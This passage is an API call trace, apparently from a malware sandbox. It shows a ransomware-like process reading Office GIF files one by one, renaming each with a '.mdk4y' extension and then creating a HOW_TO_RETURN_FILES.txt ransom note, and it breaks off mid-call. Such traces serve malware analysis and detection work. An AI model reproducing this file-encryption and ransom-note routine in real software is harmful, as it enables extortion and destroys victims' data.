lpUsedDefaultChar=0x37dec0) returned 12 [0183.747] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115836.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115836.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825897800000) returned 1 [0183.748] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xad, lpOverlapped=0x0) returned 1 [0183.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825897900000) returned 1 [0183.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825897900000) returned 1 [0183.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115836.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115836.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115836.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115836.gif.mdk4y")) returned 1 [0183.750] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.750] AreFileApisANSI () returned 1 [0183.750] GetACP () returned 0x4e4 [0183.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115839.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115839.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.750] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115839.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115839.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825898100000) returned 1 [0183.751] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbe, lpOverlapped=0x0) returned 1 [0183.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825898200000) returned 1 [0183.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825898200000) returned 1 [0183.752] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115839.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115839.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115839.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115839.gif.mdk4y")) returned 1 [0183.752] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.752] AreFileApisANSI () returned 1 [0183.752] GetACP () returned 0x4e4 [0183.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115840.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115840.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.752] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115840.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115840.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825898300000) returned 1 [0183.753] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbe, lpOverlapped=0x0) returned 1 [0183.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825898400000) returned 1 [0183.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825898400000) returned 1 [0183.754] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115840.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115840.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115840.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115840.gif.mdk4y")) returned 1 [0183.754] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.754] AreFileApisANSI () returned 1 [0183.754] GetACP () returned 0x4e4 [0183.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115841.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115841.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.755] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115841.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115841.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825898500000) returned 1 [0183.755] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb1, lpOverlapped=0x0) returned 1 [0183.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825898600000) returned 1 [0183.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825898600000) returned 1 [0183.756] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115841.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115841.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115841.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115841.gif.mdk4y")) returned 1 [0183.757] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.757] AreFileApisANSI () returned 1 [0183.757] GetACP () returned 0x4e4 [0183.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115842.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115842.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.757] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115842.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115842.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825898800000) returned 1 [0183.758] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb0, lpOverlapped=0x0) returned 1 [0183.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825898900000) returned 1 [0183.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825898900000) returned 1 [0183.760] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115842.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115842.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115842.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115842.gif.mdk4y")) returned 1 [0183.761] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.761] AreFileApisANSI () returned 1 [0183.761] GetACP () returned 0x4e4 [0183.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115843.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115843.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.761] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115843.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115843.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825899100000) returned 1 [0183.761] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb0, lpOverlapped=0x0) returned 1 [0183.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825899200000) returned 1 [0183.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825899200000) returned 1 [0183.762] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115843.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115843.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115843.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115843.gif.mdk4y")) returned 1 [0183.763] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.763] AreFileApisANSI () returned 1 [0183.763] GetACP () returned 0x4e4 [0183.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115844.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115844.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.763] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115844.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825899300000) returned 1 [0183.763] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb0, lpOverlapped=0x0) returned 1 [0183.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825899400000) returned 1 [0183.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825899400000) returned 1 [0183.765] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115844.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115844.gif.mdk4y")) returned 1 [0183.765] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.765] AreFileApisANSI () returned 1 [0183.765] GetACP () returned 0x4e4 [0183.765] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115863.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115863.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.765] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115863.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825902000000) returned 1 [0183.790] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xed, lpOverlapped=0x0) returned 1 [0183.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825902100000) returned 1 [0183.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825902100000) returned 1 [0183.791] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115863.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115863.gif.mdk4y")) returned 1 [0183.792] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.792] AreFileApisANSI () returned 1 [0183.792] GetACP () returned 0x4e4 [0183.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115864.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115864.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.792] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115864.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825902300000) returned 1 [0183.793] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb9, lpOverlapped=0x0) returned 1 [0183.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825902400000) returned 1 [0183.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825902400000) returned 1 [0183.794] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115864.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115864.gif.mdk4y")) returned 1 [0183.795] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.795] AreFileApisANSI () returned 1 [0183.795] GetACP () returned 0x4e4 [0183.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115865.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115865.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.795] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115865.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825902500000) returned 1 [0183.795] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe0, lpOverlapped=0x0) returned 1 [0183.796] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825902600000) returned 1 [0183.796] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825902600000) returned 1 [0183.796] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115865.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115865.gif.mdk4y")) returned 1 [0183.797] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.797] AreFileApisANSI () returned 1 [0183.797] GetACP () returned 0x4e4 [0183.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115866.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115866.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.797] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115866.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825902800000) returned 1 [0183.798] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe0, lpOverlapped=0x0) returned 1 [0183.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825902900000) returned 1 [0183.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825902900000) returned 1 [0183.799] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115866.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115866.gif.mdk4y")) returned 1 [0183.799] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.799] AreFileApisANSI () returned 1 [0183.800] GetACP () returned 0x4e4 [0183.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115867.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115867.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.800] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115867.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.800] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825903000000) returned 1 [0183.800] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe0, lpOverlapped=0x0) returned 1 [0183.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825903100000) returned 1 [0183.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825903100000) returned 1 [0183.801] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115867.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115867.gif.mdk4y")) returned 1 [0183.830] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.830] AreFileApisANSI () returned 1 [0183.830] GetACP () returned 0x4e4 [0183.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115868.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115868.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.830] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115868.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825906100000) returned 1 [0183.831] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe0, lpOverlapped=0x0) returned 1 [0183.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825906100000) returned 1 [0183.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825906200000) returned 1 [0183.832] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115868.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115868.gif.mdk4y")) returned 1 [0183.833] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0183.833] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0183.834] AreFileApisANSI () returned 1 [0183.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad838, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0183.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0183.834] GetFileType (hFile=0xd8) returned 0x1 [0183.835] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0183.835] AreFileApisANSI () returned 1 [0183.835] GetACP () returned 0x4e4 [0183.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LINES", cchWideChar=5, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LINESTS", lpUsedDefaultChar=0x37df4c) returned 5 [0183.835] AreFileApisANSI () returned 1 [0183.835] GetACP () returned 0x4e4 [0183.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=55, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\hҠj\x04") returned 55 [0183.838] AreFileApisANSI () returned 1 [0183.838] GetACP () returned 0x4e4 [0183.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37dec0) returned 1 [0183.838] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: 